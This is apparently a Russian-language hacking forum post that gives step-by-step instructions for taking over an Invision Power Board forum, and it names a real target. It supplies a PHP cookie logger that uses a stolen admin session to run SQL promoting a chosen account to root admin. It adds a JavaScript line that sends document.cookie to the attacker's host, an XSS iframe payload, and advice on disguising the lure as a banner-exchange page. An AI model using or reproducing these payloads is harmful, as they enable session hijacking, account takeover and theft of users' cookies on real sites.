сначала создашь файл name.php у себя на хосте
PHP код:
<?php
$target = "http://www.l2.rednet.su/forum"; #Target forum without trailing slash
$prefix = "ibf_"; #Database prefix, default: ibf_
$member = 22; #Member id to promote
$newgroup = 4; # The id of the new group to promote, normally 4 is root admin
$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$data = $_GET['c'];
$time = date("Y-m-d G:i:s A");
$text = "Time: ".$time."\nIP:".$ip."\nReferer:".$referer."\nUser-Agent:".$agent."\nCookie:".$data."\n\n";
$file = fopen('log.txt' , 'a');
fwrite($file,$text);
fclose($file);
if(preg_match("/ipb_admin_session_id=([0-9a-z]{32});/",$data,$stuff))
{
print '<img width=0 height=0 src="'.$target.'/admin/index.php?adsess='.$stuff[1].'&act=sql&code=runsql§ion=admin&query=UPDATE+
'.$prefix.'members+SET
+mgroup+%3D+%27'.$newgroup.'%27+WHERE+id+%3D+%27'. $member.'%27&st="></>';
}
?>
2) Далее делаешь файл в той же папке log.txt и ставишь атрибуты 777
3) Делаешь файл script.js на своем хосте:
Код:
document.location="http://www.yourownsite.com/path/to/file/name.php?c="+document.cookie;
4)Создаешь файл blah.html, такого содержания:
Код:
<iframe border=0 src="http://www.targetforum.com/forum_folder/jscripts/folder_rte_files/module_table.php?editorid=//--></
script><script src=http://www.yourownsite.com/path/to/file/script.js>" width=0 height=0></iframe>
5)Отсылаешь админу или кому угодно ссылку на blah.html, если попадеться админ,который только что из админки, то юзер id которого ты указал попадет в группу админов, а если просто юзер, то его печеньки будут записаны в log.txt
З,Ы, В blah.html засунь какуй-нить инфу кроме ифреймов, что типо без палева ( как вариант делаешь фейк страницу, какого нить ла2 сервера ( я так понял ты его ломаешь) и отсылаешь, типо обмен банерами) и ГЛАВНОЕ не забудь поставить все пути в коде
2Nightmare
Там сессия нужна только что бы повысить юзера до админа